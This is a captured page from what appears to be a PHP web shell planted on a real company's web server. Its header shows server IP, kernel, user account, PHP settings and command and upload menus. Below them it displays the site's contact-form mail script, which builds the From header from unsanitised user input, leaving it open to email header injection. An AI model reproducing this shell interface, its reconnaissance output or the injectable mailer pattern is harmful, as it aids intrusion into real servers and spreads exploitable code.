Server IP : 103.83.81.220 / Your IP : 18.216.53.7 Web Server : Apache System : Linux vps.erainfotech.co 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64 User : nirkonhealthcare ( 1248) PHP Version : 7.0.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/wget) is not within the allowed path(s): (/home/nirkonhealthcare:/var/log/spamavoid/:/tmp/:/var/lib/php/session/) in /home/nirkonhealthcare/public_html/admin/productimages/anopas.php on line 323 OFF | Perl : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/perl) is not within the allowed path(s): (/home/nirkonhealthcare:/var/log/spamavoid/:/tmp/:/var/lib/php/session/) in /home/nirkonhealthcare/public_html/admin/productimages/anopas.php on line 329 OFF | Python : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/python2) is not within the allowed path(s): (/home/nirkonhealthcare:/var/log/spamavoid/:/tmp/:/var/lib/php/session/) in /home/nirkonhealthcare/public_html/admin/productimages/anopas.php on line 335 OFF Directory (0755) : /home/nirkonhealthcare/public_html/admin/vendor/../js/../../ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<!-----------PHP CODE FOR SENDING FORM ON EMAIL-----------------------> <?php if (isset($_POST["submit"])) { $to = "ranjan@erainfotech.co.in"; $name = trim($_POST["name"]); $phone = trim($_POST["mobile"]); $email = trim($_POST["email"]); $query = trim($_POST["message"]); $messages = "Name: " . $name . "<br />\r\n"; $messages .= "Phone: " . $phone . "<br />\r\n"; $messages .= "Email: " . $email . "<br />\r\n"; $messages .= "Message: " . $query . "<br />\r\n"; $subject = "Enquiry From " . $name; $headers = "MIME-Version: 1.0" . "\r\n"; $headers .= "Content-type: text/html; charset=UTF-8" . "\r\n"; $headers .= 'From: ' . "$name" . '<' . "$email" . '>' . "\r\n"; $headers .= 'X-Mailer: PHP/' . phpversion(); if (mail($to, $subject, $messages, $headers)) { ?> <script> alert('Your mail has been sent. We will contact you soon. Thank you.'); window.location.href = 'index.php'; </script> <?php } else { ?> <script> alert('Mail not sent.'); </script> <?php } } ?> <!-----------------CLOSE PHP CODE-------------------->